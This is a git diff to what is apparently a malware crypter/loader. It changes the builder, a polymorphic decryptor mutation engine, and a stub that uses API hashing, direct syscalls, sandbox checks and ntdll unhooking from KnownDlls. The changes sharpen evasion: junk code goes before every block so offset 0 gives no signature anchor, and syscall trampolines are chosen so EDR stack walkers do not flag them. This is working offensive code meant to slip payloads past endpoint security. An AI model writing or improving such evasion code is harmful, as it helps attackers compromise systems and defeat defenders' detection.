diff --git a/Builder/Builder.cpp b/Builder/Builder.cpp index e51be55..83077f8 100644 --- a/Builder/Builder.cpp +++ b/Builder/Builder.cpp @@ -221,7 +221,13 @@ static BOOL ParseArgs(int argc, char* argv[], BUILD_CONFIG* cfg) { } cfg->dll_indices[0] = rnd[0] % 10; cfg->dll_indices[1] = rnd[1] % 10; + if (cfg->dll_indices[1] == cfg->dll_indices[0]) /* nudge to avoid stomp collision */ + cfg->dll_indices[1] = (cfg->dll_indices[1] + 1) % 10; cfg->dll_indices[2] = rnd[2] % 10; + if (cfg->dll_indices[2] == cfg->dll_indices[0] || cfg->dll_indices[2] == cfg->dll_indices[1]) + cfg->dll_indices[2] = (cfg->dll_indices[2] + 1) % 10; + if (cfg->dll_indices[2] == cfg->dll_indices[0] || cfg->dll_indices[2] == cfg->dll_indices[1]) + cfg->dll_indices[2] = (cfg->dll_indices[2] + 1) % 10; /* two bumps guarantee uniqueness for 3 out of 10 */ } else { printf("[!] Unknown preset: %s (valid: PRINT, MEDIA, NETWORK, RANDOM)\n", preset); return FALSE; @@ -263,7 +269,7 @@ static BOOL ParseArgs(int argc, char* argv[], BUILD_CONFIG* cfg) { cfg->opsecFlags |= OPSEC_FLAG_KEEP_ALIVE; } else if (_stricmp(argv[i], "--unhook") == 0) { - cfg->opsecFlags |= EVASION_FLAG_UNHOOK; + cfg->opsecFlags |= OPSEC_FLAG_UNHOOK; } else if (_stricmp(argv[i], "--disable") == 0 && i + 1 < argc) { if (!ApplyDisableList(argv[++i], &cfg->opsecFlags)) return FALSE; diff --git a/Engine/MutationEngine.c b/Engine/MutationEngine.c index cb139ce..27f5d7d 100644 --- a/Engine/MutationEngine.c +++ b/Engine/MutationEngine.c @@ -41,9 +41,23 @@ #include "MutationEngine.h" #include -#include #include +/* rolled our own xorshift here — same as Crypto.c/Common.c, keeps the + * builder from having two separate PRNG states running at the same time */ +static unsigned int g_mut_rand_state = 0; + +static void mut_srand(unsigned int seed) { + g_mut_rand_state = seed ? seed : 123456789; +} + +static int mut_rand(void) { + g_mut_rand_state ^= g_mut_rand_state << 13; + g_mut_rand_state ^= g_mut_rand_state >> 17; + g_mut_rand_state ^= g_mut_rand_state << 5; + return (int)(g_mut_rand_state & 0x7FFFFFFF); +} + /* ============================================================ * DECRYPTOR TEMPLATE – imported from DecryptorStub.asm * ============================================================ */ @@ -340,7 +354,7 @@ static int EmitRorAlImm8_V3(BYTE *out, BYTE imm8) { * V3: lea r9, [r9+1] (4D 8D 49 01) – LEA displacement, 4B * ============================================================ */ static int EmitIncR9(BYTE *out) { - switch (rand() % 3) { + switch (mut_rand() % 3) { case 0: /* inc r9 */ out[0] = 0x49; out[1] = 0xFF; out[2] = 0xC1; return 3; @@ -361,7 +375,7 @@ static int EmitIncR9(BYTE *out) { * V2: cmp r9, rdx (4C 3B CA) – CMP r64, r/m64 (operands swapped) * ============================================================ */ static int EmitCmpRdxR9(BYTE *out) { - switch (rand() % 2) { + switch (mut_rand() % 2) { case 0: /* cmp rdx, r9 */ out[0] = 0x4C; out[1] = 0x39; out[2] = 0xCA; return 3; @@ -388,9 +402,9 @@ static int EmitBytes(BYTE *out, int offset, const BYTE *src, int len) { * ============================================================ */ static int InsertRandomJunk(BYTE *out, int offset) { /* Random number of junk instructions: 0, 1 or 2 */ - int count = rand() % 3; + int count = mut_rand() % 3; for (int i = 0; i < count; i++) { - int idx = rand() % JUNK_COUNT; + int idx = mut_rand() % JUNK_COUNT; memcpy(out + offset, JUNK_TABLE[idx].bytes, JUNK_TABLE[idx].len); offset += JUNK_TABLE[idx].len; } @@ -404,8 +418,8 @@ static int InsertRandomJunk(BYTE *out, int offset) { * Returns the new offset. * ============================================================ */ static int InsertRandomNop(BYTE *out, int offset) { - if (rand() % 2 == 0) { - int idx = rand() % NOP_VARIANT_COUNT; + if (mut_rand() % 2 == 0) { + int idx = mut_rand() % NOP_VARIANT_COUNT; memcpy(out + offset, NOP_TABLE[idx], NOP_SIZES[idx]); offset += NOP_SIZES[idx]; } @@ -446,18 +460,18 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, if (originalStubSize < 8 || DecryptorStubBegin[TMPL_BLOCK_B_OFF] != 0xBA || DecryptorStubBegin[TMPL_BLOCK_C_OFF] != 0x45) { - HeapFree(GetProcessHeap(), 0, NULL); /* no-op, just symmetrical with alloc path */ return FALSE; /* Template mismatch — update TMPL_BLOCK_*_OFF constants */ } SIZE_T maxStubSize = originalStubSize * 4 + 256; + if (payloadLen > (SIZE_T)-1 - maxStubSize) return FALSE; /* overflow wraps to tiny alloc, heap corruption follows */ SIZE_T bufSize = maxStubSize + payloadLen; BYTE *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize); if (!buf) return FALSE; /* Seed RNG for this run */ - srand((unsigned int)(__rdtsc() & 0xFFFFFFFF)); + mut_srand((unsigned int)(__rdtsc() & 0xFFFFFFFF)); int pos = 0; /* current write position in output buffer */ @@ -500,7 +514,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, /* Fisher-Yates shuffle for 4 elements → 4! = 24 orderings */ int order[4] = {0, 1, 2, 3}; for (int i = 3; i > 0; i--) { - int j = rand() % (i + 1); + int j = mut_rand() % (i + 1); int tmp = order[i]; order[i] = order[j]; order[j] = tmp; @@ -512,15 +526,13 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, */ int blockB_imm_offset = -1; /* offset imm32 in mov edx */ - /* Emit blocks in random order with junk in between */ + /* emit blocks in shuffled order — junk before every block including the + * first one so offset 0 isn't a predictable signature anchor */ for (int i = 0; i < 4; i++) { int idx = order[i]; - /* Insert junk before the block (except the first one) */ - if (i > 0) { - pos = InsertRandomJunk(buf, pos); - pos = InsertRandomNop(buf, pos); - } + pos = InsertRandomJunk(buf, pos); + pos = InsertRandomNop(buf, pos); /* Remember the offset of imm32 inside Block B */ if (idx == 0) { @@ -571,7 +583,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, /* --- First XOR step (undoes last encrypt XOR) --- */ { - int variant = rand() % 3; + int variant = mut_rand() % 3; int emitted = 0; switch (variant) { case 0: emitted = EmitXorAlImm8_V1(buf + pos, firstXorKey); break; @@ -585,7 +597,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, /* --- Step 3': sub al, KEY3 (undo ADD) --- */ { - int variant = rand() % 3; + int variant = mut_rand() % 3; int emitted = 0; switch (variant) { case 0: emitted = EmitSubAlImm8_V1(buf + pos, pKey->key3); break; @@ -599,7 +611,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, /* --- Step 2': ror al, ROT_BITS (undo ROL) --- */ { - int variant = rand() % 3; + int variant = mut_rand() % 3; int emitted = 0; switch (variant) { case 0: emitted = EmitRorAlImm8_V1(buf + pos, pKey->rotBits); break; @@ -613,7 +625,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, /* --- Last XOR step (undoes first encrypt XOR) --- */ { - int variant = rand() % 3; + int variant = mut_rand() % 3; int emitted = 0; switch (variant) { case 0: emitted = EmitXorAlImm8_V1(buf + pos, lastXorKey); break; diff --git a/Engine/OpsecFlags.h b/Engine/OpsecFlags.h index 4a8d49d..7c45ffb 100644 --- a/Engine/OpsecFlags.h +++ b/Engine/OpsecFlags.h @@ -38,7 +38,7 @@ #define EVASION_FLAG_NO_EXEC_CTRL (1u << 9) /* skip "wuauctl" semaphore check */ #define EVASION_FLAG_NO_UPTIME (1u << 10) /* skip < 2 min uptime check */ #define EVASION_FLAG_NO_CPU_COUNT (1u << 11) /* skip < 2 CPU check */ -#define EVASION_FLAG_UNHOOK (1u << 12) /* unhook */ +#define OPSEC_FLAG_UNHOOK (1u << 12) /* restore ntdll/kernel32/kernelbase .text from \\KnownDlls\\ */ #define EVASION_FLAG_NO_SLEEP_FWD (1u << 13) /* skip sleep-forwarding check */ #define EVASION_FLAG_NO_SCREEN_RES (1u << 14) /* skip screen resolution check */ #define EVASION_FLAG_NO_RECENT_FILES (1u << 15) /* skip recent-files count check */ diff --git a/Stub/ApiHashing.cpp b/Stub/ApiHashing.cpp index af8f036..a5a0c5b 100644 --- a/Stub/ApiHashing.cpp +++ b/Stub/ApiHashing.cpp @@ -22,9 +22,9 @@ constexpr int RandomCompileTimeSeed(void) __TIME__[0] * 36000; }; -// Compile-time seed generation for Djb2 hashing, ensuring variability across different compilations -// Modulo 0xFF to ensure the seed fits within a byte, which is sufficient for our hashing needs -constexpr auto DJB2_SEED = RandomCompileTimeSeed() % 0xFF; +// per-build hash seed derived from __TIME__ — different binary each compile +// range [1,254]: zero seed breaks DJB2 for single-char strings +constexpr auto DJB2_SEED = (RandomCompileTimeSeed() % 0xFE) + 1; extern "C" constexpr DWORD HashStringDjb2A(const char* String) { DWORD Hash = DJB2_SEED; diff --git a/Stub/Stub.cpp b/Stub/Stub.cpp index 040a62d..809311c 100644 --- a/Stub/Stub.cpp +++ b/Stub/Stub.cpp @@ -91,7 +91,7 @@ extern "C" int EntryPoint() { * \KnownDlls\ clean copies, overwriting EDR inline hooks. * Runs after InitNtApi so Sys_Nt* wrappers (HellsHall) are available. * Runs before StackSpoof so subsequent Win32 calls hit clean code. */ - if (opsecFlags & EVASION_FLAG_UNHOOK) { + if (opsecFlags & OPSEC_FLAG_UNHOOK) { Unhook_RestoreAll(); } diff --git a/Stub/Syscalls.c b/Stub/Syscalls.c index 620b425..49e7cca 100644 --- a/Stub/Syscalls.c +++ b/Stub/Syscalls.c @@ -15,18 +15,18 @@ static SYSCALL_ENTRY g_Syscalls[MAX_SYSCALLS]; static DWORD g_SyscallCount = 0; static PVOID g_CleanTrampoline = NULL; -// Helper to sort syscall entries by RVA +/* insertion sort — ntdll Zw* exports come out of the export table nearly in + * RVA order already, so this is effectively O(n) almost every time */ static void SortSyscalls() { - for (DWORD i = 0; i < g_SyscallCount - 1; i++) { - for (DWORD j = 0; j < g_SyscallCount - i - 1; j++) { - if (g_Syscalls[j].RVA > g_Syscalls[j + 1].RVA) { - SYSCALL_ENTRY temp = g_Syscalls[j]; - g_Syscalls[j] = g_Syscalls[j + 1]; - g_Syscalls[j + 1] = temp; - } + for (DWORD i = 1; i < g_SyscallCount; i++) { + SYSCALL_ENTRY key = g_Syscalls[i]; + int j = (int)i - 1; + while (j >= 0 && g_Syscalls[j].RVA > key.RVA) { + g_Syscalls[j + 1] = g_Syscalls[j]; + j--; } + g_Syscalls[j + 1] = key; } - // Assign SSNs sequentially based on sorted RVA for (DWORD i = 0; i < g_SyscallCount; i++) { g_Syscalls[i].SSN = i; } @@ -89,16 +89,36 @@ static BOOL ParseNtdllSyscalls(PBYTE pBase) { static PVOID FindCleanTrampoline(PBYTE pBase) { PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBase; PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pBase + pDos->e_lfanew); - PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt); + /* need RUNTIME_FUNCTION coverage — FindJmpRbxGadget already does this, + * trampoline should too so EDR stack walkers don't flag the site */ + IMAGE_DATA_DIRECTORY pdataDir = pNt->OptionalHeader.DataDirectory[3]; /* IMAGE_DIRECTORY_ENTRY_EXCEPTION */ + PRUNTIME_FUNCTION pRF = NULL; + DWORD rfCount = 0; + if (pdataDir.VirtualAddress && pdataDir.Size) { + pRF = (PRUNTIME_FUNCTION)(pBase + pdataDir.VirtualAddress); + rfCount = pdataDir.Size / sizeof(RUNTIME_FUNCTION); + } + + PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt); for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) { if (custom_strcmp((char*)pSection[i].Name, ".text") == 0) { PBYTE pText = pBase + pSection[i].VirtualAddress; DWORD dwSize = pSection[i].Misc.VirtualSize; - for (DWORD j = 0; j < dwSize - 2; j++) { + for (DWORD j = 0; j + 2 < dwSize; j++) { if (pText[j] == 0x0F && pText[j + 1] == 0x05 && pText[j + 2] == 0xC3) { - return (PVOID)(pText + j); + if (!pRF || rfCount == 0) return (PVOID)(pText + j); + + DWORD rva = (DWORD)((pText + j) - pBase); + for (DWORD k = 0; k < rfCount; k++) { + if (rva >= pRF[k].BeginAddress && rva < pRF[k].EndAddress) { + if (!(pRF[k].UnwindData & 1)) + return (PVOID)(pText + j); + break; + } + } + /* Not inside a valid RUNTIME_FUNCTION — keep scanning */ } } } diff --git a/Stub/Unhooker.c b/Stub/Unhooker.c index 30c2cea..9dec651 100644 --- a/Stub/Unhooker.c +++ b/Stub/Unhooker.c @@ -99,7 +99,7 @@ static void UnhookModule(PVOID hookedBase, PVOID cleanBase) { } BOOL Unhook_RestoreAll(void) { - /* Mapuj czyste kopie */ + /* Map clean copies from \KnownDlls\ */ PVOID pCNtdll = MapKnownDll(kEncNtdll, 20, 0xAA); PVOID pCK32 = MapKnownDll(kEncKernel32, 23, 0xAA); PVOID pCKbase = MapKnownDll(kEncKernelbase, 25, 0xAA);